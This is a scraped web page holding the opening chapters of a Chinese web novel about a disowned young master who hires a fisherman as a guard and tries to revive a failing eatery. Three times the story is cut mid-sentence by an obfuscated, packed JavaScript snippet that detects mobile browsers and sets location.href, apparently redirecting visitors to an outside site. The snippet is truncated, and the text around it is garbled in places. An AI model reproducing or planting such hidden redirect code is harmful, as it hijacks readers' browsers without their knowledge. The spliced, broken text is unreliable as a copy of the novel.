《骄纵夫郎被迫开食肆》 1. 食肆整治（一） 早春三月晨雾蒙蒙，天微亮，今州城码头来往船只数不胜数，空气中弥漫着刺鼻的鱼腥味，以及鸡屎鸭屎混着浓烈的汗水味。 一道浅蓝色身影从拥挤的人潮中灵活穿梭而过，伴随着鸡鸣鸭叫跳上了离岸边最近的一艘乌篷船。 “快快！快开船！” 船夫闻声而动，小船刚划出河岸，便闻身后浮桥传来落水的噗通声和几道洪亮的谩骂声。 “姓温的，跑得了和尚跑不了庙！给老子还钱！” 何老头这才看清来人，原来是孙家食肆新来的少东家。 “温少爷，您又被讨债的追了？” “别提了。”温沅撑着乌篷大口喘气，无力地摆了摆手，汗水从他泛红的脸颊上滑落，滴到手背上，细长淡眉登时蹙起，有些嫌弃地甩开。 何老头回头看到追债人手里还提着菜刀，吓了一跳，劝道：“您啊，干脆把食肆卖了，钱一还，也不用日日逃债了。” 温沅顿了顿，随口打了个哈哈：“难卖。” 何老头闻言摇了摇头，莫不是价钱压太低了，小哥儿不愿卖。 这么个娇贵的小哥儿难不成还想救起这间破烂食肆？怕是有些异想天开了。 温沅笑了笑，他何尝不知卖掉食肆还债是个好的选择？只是卖了食肆，他又该往何处去？ 一个月前，他还是孙家二少爷，每日揣着大把银子去街头巷尾寻美食，日子逍遥又快活。 然天下诸多荒唐事，偏偏给他遇到了。 那日孙家三少爷带回来一个人，说这人才是真正的二少爷，而他并不是孙老爷孙夫人的亲生儿子，他是个假得不能再假的假少爷。 一纸薄薄的铺契买断了和孙家的所有关系，自此他从青州城来到了今州城。 本以为新的地方能过新的生活。 结果食肆又破又烂，蛛网铺满角落，菜品难吃到倒贴钱也吃不下，掌柜小二的态度差得离谱。 最要命的是，还欠了债。 每日天一亮便有债主提刀砍上门，生意做不成债也还不掉，天天像丧家犬一般，被追得狼狈逃窜。 温沅叹了口气，低头看到衣摆上沾了一坨黑乎乎臭烘烘的屎玩意儿，两眼一黑。 不如跳河算了，一了百了。 他犹豫许久，终于下定决心捻起衣摆一角，屏住呼吸把衣摆甩入水里，也不知道这样能不能把这坨鸡屎还是鸭屎还是什么屎的冲洗干净。 冲了一会儿，正要捞起，余光瞥见船侧有一暗影，温沅怔愣一瞬，转头看去，平缓清澈的河面上荡开一小片血水，水下黑影突然向上翻腾。 他本能地往后退，衣摆卡住，连忙往回扯，却发现扯不动，低头一看—— 一只染血的手，正紧紧抓着他的衣摆。 这只手极大，古铜色，骨节分明，曲起的指节压出的弧度如弯刀强劲，被稀释的血水顺着暴起的青筋划落，滴在浅蓝色的衣摆上，刚洗干净的衣摆瞬间污浊不堪。 哗啦一声，另一手也扒上了船边，紧接着船头冒出一脑袋。 纵横交错的湿发缝隙中，露出一双深邃有神的眸子，锐利的目光直直打过来。 温沅呼吸骤停，寒毛直立。 然后一脚把人踹回了河里。 “……” 乌篷船划出半丈，温沅下意识往后看，水下那人浮到了河面上，双目紧闭面容安详，腰间血流不止……触目惊心的鲜血汇入河中，碧波荡漾。 “怎么了？”何老头起身一看，浑浊的双眼猛地瞪大，“那是……余浪？” “认识？”温沅一愣。 “垌渔村的卖鱼郎余浪，在这块儿摇船的都认得。”何老头说：“温、温少爷……这可怎么办？” 温沅惊魂未定，指尖阵阵发白，他哪知道怎么办，后边一群讨债的，这时候救人就是找死。 何老头见他没吭声，便打算加快摇船，却见船头那小少爷猛地闭上眼，咬着牙说：“罢了……先救人。” 话音刚落，只见河面上的人倏地睁开眼，疑惑地往船上看。 “醒了？”温沅来不及多想，连忙把船桨递过去：“醒了就好，快抓紧船桨，我拉你上来。” 余浪没动，目不转睛地看着他，眼里的疑惑愈深。 “快呀！”温沅抬眼看追船又近了几丈，慌忙道，“不想死就给我抓住！” 余浪终于动了，他一把抓住船桨，十分轻巧地翻上了船。 混着血的水浸湿整片船头，愈是靠近，血腥味愈是浓烈，温沅愣愣地看着他，没想到这人受了伤动作还能如此利落。 “……你没事？”温沅问他。 余浪斜靠着船篷，晨雾散开，日光热烈，光影穿过发丝的缝隙，落在那小少爷细长微扬的眼尾上，像极了晶亮的鱼鳞，波光粼粼。 前几日船夫们都在传，孙家食肆换了个少东家，除了脸好看，一无是处，债不愿意还生意不好好做游手好闲吊儿郎当，满县逃窜。 钱不还，人不行，活该被人追着砍。 余浪心下一动，传言果真不能全信。 他眯缝一下眼，曲起腿，“我在睡觉。” 温沅震惊：“睡……什么？睡觉？” “嗯。”余浪应了一声。 温沅双目圆睁，“你是河神还是水鬼？在河里睡觉？你……” “我受了伤，走路去医馆费劲，顺着河漂去城南码头能快一些，那处有间老医馆。”余浪顿了顿：“便宜。” 温沅听着就像在胡诌，但是这人神情又十分认真，毕竟便宜。 以前的他或许不理解，现在他感同身受。 他扫过余浪腰间，腰带挂着一串小贝壳，鲜红的血一滴滴落到白色的贝壳上，晕开一朵小血花。 瞧着这般冷硬的人，竟然戴了一串可爱的小贝壳。 他不由地看了一眼余浪，然后从袖中掏出一包药粉丢过去，“这个能止血。” 余浪接住药粉包，看向他。 温沅回回逃债都会到码头坐船跑，想必他的事情在船夫口中早已传开，船夫都认识余浪，余浪肯定也知道不少他的传闻。 他没想掩饰，直说：“逃跑总会受伤，备点药粉以防万一。” 他没说的是，身上没多少钱，药粉只买了四小包，这是最后一包，下次受伤，就得硬扛。 温沅心下一叹，这东躲西藏的日子什么时候是个头啊。 不消片刻就到了城南码头，这处码头曾经繁华过，现在一片荒凉，路边野草从枯竹和破竹篓空隙间穿过，迎风摇曳。 一眼望去，空无一人，仅有两条旧木船停在岸边。 总算把追债人甩开了。 温沅付完船费，数了数剩下的铜钱，又是一叹，他抬头看向身旁的男人，刚要开口，便听野草后传来悉悉索索的声音。 一眨眼，两个大汉冲出，挡住前路。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224302|197551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 转过身，张屠户三人的船也到了岸。 温沅：“……”要不要追这么紧？ “我说了，你今日跑不掉。”张屠户下了船，大步走来，“这钱，你必须还！” “张哥，我浑身上下，也就剩这二百文。”温沅摊开手。 “你拢共欠我们三十五两八钱，现在就拿几个铜钱敷衍我们？”张屠户怒道：“把我们当狗耍吗！” 别家食肆买肉赊账都没有赊一个月的说法，他们和孙家食肆合作多年，宽限了不少日子，结果换了个小少爷当东家，一口没钱便将他们打发了。 张屠户气得面肉横生，想要上前抓温沅，却被一个浑身湿透染了半身血的高大男人挡下。 男人面上没什么表情，黑沉的眸子淡淡扫过来，有股说不出的狠戾。 张屠户莫名发怵，又不愿退缩，冲上去就是一拳。 余浪凝神偏过身，躲开了这一击，余下两人也跟着打过来，拦路的两个大汉则是往温沅走去。 温沅见状不妙，捡起破竹篓砸向二人。 箩筐砸在地上，碎成几片，二人被迫止步，他又捡起枯竹胡乱挥动，一番折腾把自己弄得灰头土脸，倒也止住了两个汉子。 慌乱间，他看到张屠户站在余浪后方，欲趁其不备，挥起大拳。 “小心！”温沅把手里的枯竹扔了过去。 余浪自小游水，腰身如海鱼般灵活，他偏身后仰，大手接住枯竹朝张屠户的手腕重重敲去，遂后攥住张屠户衣领往地上一抡。 张屠户后背摔得生疼。 他攥紧拳头还未挥出，一根带着尖锐长刺的枯竹停在他瞪得极大的眼睛前，只余分毫。 其余四人你看我，我看你，就是没人再敢上前，生怕上前一步，那根长竹便会狠狠扎入张屠户眼中。 余浪手一松，起身后退几步，站在温沅面前，转了转手腕。 温沅在混乱中看到半身血的男人挡在他面前，落下的影子将他完全笼罩。 男人高大健壮，肩宽窄腰，双臂孔武有力，不仅遮住了炎炎烈日，还挡住了那群人的攻势。 温沅眼眶微睁，混沌的脑子里只剩一个念头：这人功夫好，救人救对了啊！ 余下四人把张屠户搀扶起来，张屠户思及这几日追温沅都不曾遇到这号人物，竖眉问道：“你谁啊？” 有人犹豫道：“这好像是给丁家食肆送鱼的卖鱼郎？今早听闻丁家不愿给他结工钱，他就把店给砸了，十几个汉子都没拦住……我们还要上么？” 张屠户：“……” 上个屁！ 十几个汉子都拦不住他们几个就能拦住了？今日有余浪在，打起来未必讨得着好，且等几日。 余浪能因丁家不结钱砸店，总不会转头给温沅这等老赖干活儿，只要余浪不在，逮个小少爷不成问题。 五人对视一眼，张屠户啐道：“温沅，今日算你好运，你给我们等着！” 一众人来也匆匆，去也匆匆。 温沅长舒一口气，今日追逃总算过去了，只是以后…… 他抽出腰间折扇敲了敲脑门，眼珠一转，试探道：“余浪，无论如何，方才若不是为了救你，我也不会被他们追上，对吧？” 余浪扬起一边眉，有些好笑地看向小少爷，须臾，从鼻子哼出一个“嗯”。 “救命之恩，以身相许，正好你也没了活计，不如给我当护院。” 2. 食肆整治（二） 温沅坐在老医馆里摇着纸扇，极有耐心地看着老大夫给余浪包扎。 伤口在腰侧，像是被什么利器划了一道，一掌长，不算深，包扎时，余浪眉头都没有皱一下，目光定在温沅微微勾起的嘴角上。 小少爷跟着他到了医馆，就一直是这种微微笑着的神情，瞧着，十分真诚。 “护院的职责呢，跟强身健体差不多，也就是挡一挡上门闹事者。”温沅扫了眼壮硕的胸肌和紧致结实的腹肌，笑容真挚，“你瞧你一身好功夫，埋头苦练看不到头，还得时常和人过过招，才能有所增进，不错吧？” 余浪不置可否，待到老大夫包扎好伤口，不紧不慢地穿上衣裳，“温少爷不怕我砸店？” 温沅想到那间食肆砸了也烂不到哪儿去，但能不砸还是不要砸，他只想找个护院结束东逃西窜的日子，“我相信你是位极有分寸的卖鱼郎。” 余浪别有深意地看着他，缓缓道：“行。” 孙家食肆位于城东里街最热闹的交叉口上，行人牛车马车络绎不绝，极为繁华喧闹。 再闻街边吃食，浓香诱人，令人止不住生咽涎水。 唯有孙家食肆门前，冷冷清清。 隔壁面馆老板在自家门前探头探脑，见温沅安然无恙地回来，身后也不见张屠户等人，“哟！温少爷回来了啊？今早到哪躲清闲了？” 温沅瞅了眼面馆里头的三两客人，折扇一指，“老板，有人要逃单。” “谁敢逃单！”面馆老板猛地转身，客人们满脸不爽地看着他，他安抚完客人转头追着温沅喊，“要我说，还是卖了食肆好，欠着债多难受啊是不是？” 温沅充耳不闻，甩了甩扇子回食肆。 他一进门，食肆掌柜陈贵礼捧着账簿笑容满面迎上，他留着半长不短的翘胡须，长得精瘦唯独肚子又圆又大，脚步快得不像年近半百的人。 “少东家，您瞧，今早来了好几个人，都是问食肆想卖几多银子，我都给记下了，其中要数丁家大掌柜出手最阔绰，这个数呢！”陈贵礼张开三指。 此话一出，柜台旁的小门传来悉悉索索的动静。 温沅看了眼陈贵礼，接过账簿到柜台上翻看，丁家食肆出价三百两，剩下八十两到二百两不等，八十两是隔壁面馆老板出的价。 他啧了一声，趁火打劫呢？ “不过啊，”陈贵礼特意压低了嗓子，声音却不小：“来问价的都说只要食肆。” 只要食肆的意思是伙计们都得辞退，就现在伙计们的德行，辞退无可厚非。 门后动静倏地停了。 “收着吧，回头再看。”温沅合上账簿，扫了眼食肆摆得还算整齐的桌椅，就知张屠户等人只是去追他，并没有砸店，“今早可有客人？” 陈贵礼见温沅收下账簿，笑容更大了，“今早那般闹，自然没有客人。” “没有客人，陈掌柜笑这般高兴？” 陈贵礼脸一僵，“到了晚食兴许就有人来了。” “晚食有人来就有鬼了……”温沅把陈贵礼打发走，拿着账簿去后院。 一进后院，便看到一口大水缸，水缸旁边是水井，地上湿哒哒一片，混着一堆枯黄的菜叶子。 水井的左边便是后厨另一侧门，紧贴着后厨的是柴房，柴房旁边是窖房，再过去便是伙计们住的屋子、茅房、驴棚。 方才挤在后院窄门偷听的四人回到各自干活儿的位置，目光明里暗里瞥向进来的温沅。 见温沅看过来，全都偏开了头佯装忙手里的活儿。 温沅脚步一拐，进了右边第一间房。 门关上，伙计们才放下手里不存在的活计。 厨娘吕三娘往温沅的房门看了一眼，双手在襜衣上擦了擦，眉头紧蹙，“七豆，你说少东家是不是真要卖了食肆？” 伙计周七豆摇了摇头，“不知。” 另一个伙计郭巴子呸掉嘴里的菜叶子，“三百两呐三百两，我要有这三百两，财神不得喊我爹叫我娘？” 陈大立靠在厨房门框处，悠闲道：“卖了也好，欠咱们的工钱就能结清，城里头这么多食肆，何愁找不到活计？” 剩下仨人瞅了他一眼，没接话。 陈大立是大厨，辞了这家不愁没下家，哪哪都吃香，平时他和陈掌柜都不住食肆里，哪像他们这些打下手干伙计的，在城里头找份包吃包住的活计不容易。 “您倒是好找。”郭巴子撇撇嘴，瞅了眼周七豆，“七豆不好找吧？才十四，又是个无家可归的小哥儿……离了食肆可就没处去了。” 吕三娘看了眼沉默不语的周七豆，连忙让郭巴子别说了。 郭巴子说：“不说七豆，三娘你是不是也没地儿去？回了娘家有柴房给你住不？” 吕三娘一下红了眼，没话了。 “要不……”郭巴子凑到陈大立面前，“大立哥，带上我呗？” “你？”陈大立上下打量他，翻了个白眼回厨房去了。 郭巴子看得火大，啐了口，“稀罕你带？狗都不稀罕！”说完甩着布巾回大堂。 温沅站在木窗后，听到院子里吕三娘和周七豆各自散去，回到床边，解开外衣躺倒在床上看着乌黑的屋顶。 也许卖了食肆更好，债主能拿到债款，伙计能拿到月钱，而他拿着剩下的二百多两，寻处小院逍遥自在。 可一想到刚刚听到的话，他心口像是憋了一口气。 刚到食肆时，这间屋子是周七豆收拾的，他没带被褥，也是吕三娘低价卖了床新被褥给他。 他已经无家可归了，也许撑一撑，就能让这些人有一个新的家，无论这个家如何破败，至少能挡风遮雨。 温沅扯过被子压住脑袋。 一觉到了次日。 清晨淅淅沥沥下了雨，飘来的雨雾裹着一层凉意。 院子里，吕三娘在洗厨具，周七豆在井边打水，二人见少东家起这么早，讶异了一瞬，连忙打了声招呼。 “少东家早，您想吃甚么早饭？”吕三娘问。 “厨房有什么做什么吧。”温沅没什么胃口，说完转头去找木盆洗漱，一看木盆里还放着昨日换下的脏衣裳，整个人都颓了。 他犯了愁，站在木盆前犹豫半晌，终是拿起脏衣裳放至一旁，洗衣裳什么的，押后再说。 洗漱完，早饭也端出来了，两个包子，一碗稀粥和半碟咸菜，摆在后院的小桌子上。 粥稀得只剩米汤，咸菜散发着一股腌过度的怪味，唯有包子意外地不错，荠菜馅儿的。 热腾腾的包子，皮薄馅儿多，美中不足的是没有放肉，加点肉末会更香。 想到这儿，温沅觉得手中的包子都没滋味了。 没滋没味的早饭吃完，忍耐着去把泡在水里的脏衣裳拎……没拎起。 这衣裳也太重了！ 穿的时候怎么一点儿也不重！ 不洗了！反正过了水，就算完事儿。 他咬着牙把湿衣裳往竹衣架上甩去，老旧的竹衣架忽地发出一声“咔”，整个往一旁歪斜，眼看着就要倒下，被冲过来的吕三娘和周七豆稳住。 温沅合该感到尴尬，但不知为何，很想笑。 但他没笑出来。 “这个竹衣架用久了不结实，少东家，我来吧。”吕三娘说。 “啊。”温沅应完后退了一步。 周七豆快速和吕三娘把竹衣架搭好，又默默拿起湿衣裳拧干晾上去，一眨眼的功夫，所有衣裳都在阳光下飘扬着。 温沅暗自叹了一口气。 吕三娘抓着襜衣擦了又擦，踌躇片刻，“少东家，食肆……能不卖么？” 周七豆瞬间看过来，两双眼睛殷切地看着温沅。 陈大立无所谓食肆卖不卖，郭巴子没了活计还能回家，唯有他们二人，无处可去。 吕三娘绞着襜衣，“我一定听您的，好好干活，绝不偷懒。” 周七豆不太会说话，平时招呼客人都没多少话，这会儿也不知道该说什么，只一个劲儿点头。 温沅默然片刻，心下一叹，“食肆照常开门，该忙什么忙什么。” 先前总有人上门讨债导致生意没法做，现下他刚招揽了一个高大威猛的护院，怎么能不试一试就卖？ 管他呢，先撑一撑吧，撑不下去再说。 这食肆虽破，但也不愁人盯着。 二人不知道这算不算不卖了，但听到食肆照常开门安心不少，险些哭出，温沅连忙让他们去忙活。 衣裳晾完，后门传来三下敲门声，紧接着是一声高呼：“陈大厨，送菜来了！” 周七豆放下木桶跑去开门。 来的人是青苗寨的菜农张阿爷，张阿爷挑了两担子新鲜菜进门，其中就有温沅正在吃的荠菜。 新鲜青菜放不久，每日一送，别家食肆生意好时，每日送两三次都是常有的事。 两担子菜放在后院，陈大立和吕三娘一人一担子挑选，温沅心下好奇，也过去看了一下。 少东家亲自盯着，陈大立和吕三娘看得十分仔细。 张阿爷给孙家食肆送菜这么多回，第一回看他们挑拣得如此仔细，登时有些忐忑，生怕这趟被找借口压价。 幸好，他家菜侍弄得好，除了挑出几片被虫子咬烂的黄叶外，倒是没别的问题。 十六斤菜，不多不少。 “这个季节的春笋最嫩，价也跟着涨了两文，这两担拢共三十九文。”张阿爷双手搓了搓裤子，笑呵呵地看着陈大立。 陈大立转头看向温沅，吕三娘和周七豆也跟着转过去。 全都在等温沅拿钱。 温沅刚要掏钱，一想到自己仅剩的二百文，便犹豫道：“账不能乱，这个合该从账上出，叫陈掌柜来付钱便是。” 陈贵礼一听，当即哭到：“账上也没甚么钱了呀！少东家，钱匣这点钱，哪里够？” 钱匣木盖一掀。 也是二百文。 付个菜钱不余多少。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郭巴子搁下布巾，冲那马脸的客人回道：“都没人上门追债当然不去。” “哟，还完了啊？食肆卖了？”马脸摸着下巴，目光在柜台后的温沅身上黏了一圈，“啥时候卖的？” “没卖。”郭巴子说。 “不卖能还债啊？就你们这啥也不会的小少爷，不出三天，食肆就得倒闭咯！” 桌上另一麻子脸笑嘻嘻回道：“你瞅瞅除了我们兄弟还有谁来光顾啊？” “就是，难吃死了。”那三个客人起身一把推开郭巴子，大摇大摆往大门走去。 温沅叫停他们，“几位还未付钱呢。” 马脸转过头：“这么难吃，还要给钱？” 温沅往桌子处看了一眼，“难吃你们也吃完了，自然要给钱，郭巴子，给客人们算算多少钱。” “十个包子三份稀粥六个煮蛋还有一份咸菜，共三十三文。”郭巴子说。 马脸露出一丝嘲讽的笑，靠到柜台上说：“我们常来你家食肆吃，饶个三文，三十文罢。” 饶得不多，温沅也爽快：“行。” 马脸闻言没有立即掏钱袋，转而问道：“听闻少东家不久前刚到今州城？” 温沅皱起眉，“几位的钱是分着给还是一起给？” “少东家都要卖食肆了，还盯着这几文钱呢？”麻子脸说：“少东家见外了啊。” 温沅一顿，抬眼缓缓问道：“几位什么意思？” “意思就是咱们兄弟几个身上忘了带钱，先给记账，下回来了再一块儿给。” “东家，这儿。”郭巴子翻开账簿，点了点，“这处写的是这几位的账。” 温沅低头一看，可不止三十文，全部加起来，将近一两银子，这可是大钱啊！ 他挑起眉，淡声道：“几位欠这么多钱，今日不算那甚么时候算？” 麻子脸一拍柜台：“说的甚么话！你问问你家掌柜，我们像是欠债不还的人吗？” 陈贵礼听到声音从后院跑进来，见是熟客，扬起笑道：“哪来的话，三位兄弟常来，怎会不给钱？我们少东家刚来，不认得几位罢了。” 马脸调笑道：“哎，那咱们兄弟多来几回，便认识了。” “账清了再来罢。”温沅啧了一声：“免得下回误会几位不给钱。” “少东家话里有话啊……” 麻子脸刚要上前，食肆门口走进来一人，逆着光，看不清神情。 只见此人墨发侧边几股麻花辫，长发披肩，肩宽窄腰，手里拎着两个鱼篓，肩上还背着一个，鱼篓湿漉漉的还滴着水。 一双长腿一步比别人两步，转眼便到了柜台前，他说：“我来上工。” “少爷。” 3. 食肆整治（三） 男人身量高，一身肌肉壮实有力，他一人站在柜台前，无形之中带来极强的压迫感，淡漠的眸子随意扫过三位客人，最后停留在麻子脸扒着柜台的手上。 麻子脸感觉双手好似被蛰了一般，慌乱松开，他退了两步，暗自打量眼前的男人，原以为只是个送货的，看那周身气势却觉得不简单。 他眼珠一转，强笑着说：“少东家忙着，兄弟们就不打扰了……” 说着便扯了另外两个兄弟要走。 “余浪，拦住他们！” “好。”余浪那没什么情绪的眸子微微抬起。脚一勾，长椅横插路中，大刀阔斧地坐在长椅上，宛如煞神般，瞬息便堵住了唯一的去路。 温沅搓开折扇兀自赞叹，还不忘提醒道：“一两银子，拿来吧。” 麻子脸见跑不掉，冲陈贵礼叫：“陈掌柜，咱们兄弟向来最照顾你家的生意，你便是这般对兄弟的？” “哎哟，都是误会！” 陈贵礼对那几位压了压手，借步小声劝温沅：“少东家，这几位赊账是惯例了，没几个银子，您又何必和他们计较？且这几位都是老客了，赊账在所难免，您不愿卖食肆，又不给老客行方便，往后这生意还怎么做？” 温沅听得想笑：“陈掌柜如此大方，那他们赊的账便由掌柜你来填？” 陈贵礼噎住。 “总之，赊账免谈。” 他欠一屁股债没还呢，这都准备带着伙计喝西北风了，想捞便宜，没门！ 陈贵礼忍了又忍：“少东家啊，我也是为了食肆好，食肆常有地痞无赖上门，若不是倚仗……” 温沅倏地收起扇子，冷着脸，“我用得着他们的倚仗？余浪！” 话音刚落，便见一道黑影隔空飞过，重重摔在柜台前，发出一声巨响，扬起满地灰尘。 众人愣在原地，这娇少爷从哪里找来的煞神！ 唯有温沅连连赞叹。 这护院找得不亏，赚翻了！ 有了余浪，哪里还用得着怕这等泼皮无赖？ 余浪收回手，面无表情地冲剩下两人抬了抬下巴，“结账。” 马脸和麻子脸险些跪下，平日里食肆遇到的痞子不过是合伙作戏混口饭吃罢了，哪里有过真干架的事儿？ 两人哆嗦着腿来到柜台前，东拼西凑摸出一两碎银往柜台上一丢。 “账、账清了……” 温沅点了点数，勾起嘴角：“食肆欢迎几位下次再来。”折扇一挥，“余浪，放人。” 余浪偏开身，将长椅勾回原位。 三人你扯我我扯你地冲出食肆，发誓打死也不来了。 温沅提笔勾账，入账一两，喜笑颜开。 陈贵礼愁容满面地看了一眼温沅，但也没开口。 经营食肆可不是简单事，以他看啊，这食肆最后恐怕还是得卖了，他也不必在此事开罪温沅，就等着卖了食肆收钱便是。 温沅摸摸小碎银，心情大好，账簿一合，看向余浪，“你伤好了？” 余浪捞起鱼篓走到柜台前，“无碍。” 陈贵礼愣了愣：“少东家，这位是？” 温沅手指轻敲几下，抬头看向余浪；余浪半垂眼看着他，似乎在等他说话。 “我新招的护院，陈掌柜不是担心有地痞无赖吃白食么？有他在就不用担心了。” 话音刚落，温沅便见余浪的眉尖轻挑了一下，可有可无的样子。 陈贵礼登时皱起脸，哀声劝道：“少东家，如今店里生意萧条，伙计够用，没必要再多招一人啊，这人瞧着凶，指不定还会赶客。” “赶客好啊，方才那种老赊账的客，都赶走。”温沅探头看向鱼篓：“这是什么？” 余浪把大小三个鱼篓放在地上，鱼篓盖子一掀，赫然十几条大鱼，小鱼几十条不等，鲜活的鱼儿在鱼篓里上蹿下跳，水珠淌下，空气中泛着丝丝腥味。 “今早捞的新鲜鱼，我带了些过来。” 新！鲜！鱼！ 温沅蹭了蹭下巴，自从他来了食肆，好几天没吃过荤腥，天天不是青菜面，就是稀粥拌咸菜。 逃债路过别家吃食店闻到传来的肉香味，馋得他险些跑不动。 “这么多？” 余浪随手捞起一条鲤鱼，“不多，少爷吃不完，可拿去卖。” “拿去卖？”温沅瞬间被点醒。 今早还在想怎么经营食肆，钱没有货没有，愁得他恍恍惚惚。 但现在余浪带来了鱼，这不就是瞌睡送枕头！ 他回想起在青州城吃过的鱼数不胜数，光是鱼羹就有不下十种，各式菜品眼花缭乱。 有了鱼，就不愁食肆没生意。 他双眼放光地看着余浪，“若是之后让你送鱼，就今日的量，你能送么？” 余浪把鱼丢回鱼篓，垂眸看他：“能。” “少东家，您要卖鱼？”陈贵礼问。 “不错。”温沅把周七豆郭巴子叫了过来：“先把鱼拿去后院。” 周七豆闻言搬起一个鱼篓率先去了后院，郭巴子磨磨蹭蹭半晌才搬过去。 温沅见陈贵礼杵在旁边，“陈掌柜在食肆多年，想必对菜品懂得多，不如去后院和大厨厨娘想想怎么弄？” 还想探听一二的陈贵礼：“……是。” 待人一走，温沅脚勾了张椅子到余浪身边，合扇一指，“坐。” 余浪挑了挑眉，撩起衣摆大刀阔斧地坐下，仰头静等小少爷指示。 温沅斜靠着柜台：“你往常给丁家食肆送鱼，都什么价？” “常见的鲫鱼鲤鱼，按大小鲜活，十文到二十文不等。” “那你方才拿来的，岂不得百文以上？” 余浪点头。 每日百文，一个月便是三两，按理说这个钱算少的，温沅看过食肆的账簿，往常每日进猪肉鸡肉鸭肉各种青菜都得一两多，要不然也不会欠下张屠户等人三十几两。 钱是不多，难就难在他手头上没钱。 温沅回到柜台后，估摸了一下两人的距离，清了清嗓子，试探道：“可以……赊账不？” “你也知道，我手头紧张，方才收来的一两银子得紧着用，要是你着急用钱，我可以给二……”他咬咬牙，“三十文！等食肆挣了钱，这些账我都会算清——” “行。”余浪说。 “楚，绝不少……”温沅停下，“你刚说话了？” “嗯。”余浪看着摇头晃脑的小少爷，“我说行。” 太上道了！ 温沅从柜台后走出，一展折扇，微微笑道：“以后挣钱了，你想要什么尽管说。” 余浪黑压压的眼底闪过一丝意味深长的笑意，“那就先谢过少爷。” “好说。”温沅勾唇笑了笑。 陈大立蹲在木桶前盯着那十几条鱼，见陈贵礼走来，用烟杆子敲了敲桶沿，“叔父，这鱼挺肥，我家娃前两天叫着想吃呢。” 陈贵礼探头看了两眼，肥鱼跳得厉害，回家加点白嫩豆腐煲个鱼汤，肯定鲜，“留几条肥的。” “行嘞！”陈大立想到今晚有鲜鱼吃就高兴，“那这条最大最肥的，下工前我给叔父杀好，叔父拿回去让婶子给您煲鱼汤。” 陈贵礼点了点头，这大侄子不愧是他带来的人，做事深得他心，欣慰至极，“剩下那些你看着办。” “全都清蒸。”陈大立下了决定。 吕三娘从外面进来，正好听到这一句，犹豫道：“鲤鱼应当是红烧更好卖？还有小一些的鱼——” 话没说完，陈大立打断她，“你懂什么？你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他说完，厨房一片寂静。 “怎么？这些不会做？”温沅问陈大立。 陈大立看了一眼后边进来的陈贵礼，陈贵礼说：“少东家，这些都是大立的拿手菜，这不需要一道一道试吧？” “试。”温沅想到之前吃过的坨坨面，对陈大立的手艺并不十分信任，“拿手菜也得试，我说可以才能上桌。” 这是食肆来之不易的翻身机会，温沅必须把握住，容不得一丝差错。 陈贵礼被温沅的任性惊到了，“少东家，这么多菜，不合您口味就不能上，那得试到什么时候？” “试到能入口为止。”温沅不欲多说，“三娘，搭手做。” “哎，好。”吕三娘快步出去杀鱼。 陈大立瞅了眼陈贵礼的脸色，待到陈贵礼叹气挥手，才不情不愿地去准备配菜。 “陈掌柜似乎有意见？”温沅问。 陈贵礼攒了一肚子气，然而面上不敢显露一丝一毫，“没有意见，少东家想试，自然要试的。” 口感好又如何？那些客人哪懂什么好吃不好吃，全天下的鱼都一个味，差不多口味能卖钱就够了，浪费这么多功夫试菜，压根就不会有人来吃。 要是把这些鱼都试完了，他的鱼汤不就飞了？ 浪费！ 且试吧，看你能试出什么山珍海味来！ 众人去忙活，温沅把余□□来，打算问问他平时捞了鱼都有什么做法。 余浪刚要回话，最先做的清蒸大鲤鱼出锅了。 “少东家，”陈大立把蒸鱼端到后院小桌上，“您尝尝？” 4. 食肆整治（四） 清蒸大鲤鱼冒着热气，热油还在滋滋作响，葱花的清香扑鼻而来，有少许的腥味，但不算很浓，温沅看了陈大立一眼，想起坨坨面，有点不相信这是出自同一人之手。 “少东家，这道清蒸鱼闻着就香啊！”陈贵礼对此连连点头，转头问其他人，“闻着就想吃了！是吧？” 吕三娘搓着襜衣站在一旁连忙点了点头，闻着的确是香。 周七豆守着大堂那五桌寸步不敢离，郭巴子闻香而来，很直接地说：“想！” 所有人都等着温沅品尝。 余浪拿来长椅放在温沅身后，等温沅坐下后，从筷筒抽出一双筷子递到温沅手边。 温沅抬眼扫过余浪冷硬的脸庞，这人还挺有眼力劲儿。 他接过筷子，轻嗅了一下，挑了块鱼腩放入口中。 陈大立迫不及待问道：“少东家，好吃吧？” 温沅没说话，放下筷子对陈大立说：“你来试试。” 陈大立不明所以地试了一口，“挺好吃啊，这豉油酱汁可是新进的货呢。” 陈贵礼见状，也试了一块，味道确实不错。 “余浪，你卖鱼，想必经常吃，你来。”温沅说。 余浪一试就知问题出在哪，“蒸太久，鱼肉老了。” “怎么可能！”陈大立不信，又吃了一块，“鲤鱼就是这样的口感，怎会老？少东家，我做大厨这么些年，一直是这样蒸，就没有客人说过鱼肉老。” “除了鱼肉老，酱汁的口味也有些偏重。”温沅说。 “少东家，您不常吃蒸鱼自是不懂，清蒸鲤鱼，酱汁不重无法让鱼入味。”陈大立解释道。 温沅在青州城时，就好去各家酒楼食肆小摊小店寻好吃的，要说做菜他确实一窍不通，可论吃，他敢称得上一句精通。 清蒸鲤鱼该是什么口感，他心里一清二楚。 “这个不行，重新蒸，要嫩，酱汁减淡。” 